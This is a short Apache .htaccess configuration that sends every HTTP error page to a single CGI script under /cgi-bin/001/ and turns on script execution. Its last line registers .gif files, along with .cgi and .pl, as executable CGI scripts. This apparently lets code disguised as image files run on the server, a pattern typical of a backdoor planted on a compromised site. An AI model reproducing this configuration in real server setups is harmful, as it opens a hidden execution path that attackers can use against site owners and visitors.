DirectoryIndex index.shtml index.cgi

ErrorDocument 404 /cgi-bin/001/index.cgi
ErrorDocument 403 /cgi-bin/001/index.cgi
ErrorDocument 402 /cgi-bin/001/index.cgi
ErrorDocument 400 /cgi-bin/001/index.cgi
ErrorDocument 401 /cgi-bin/001/index.cgi
ErrorDocument 500 /cgi-bin/001/index.cgi

Options +ExecCGI
AddHandler cgi-script .cgi .pl .gif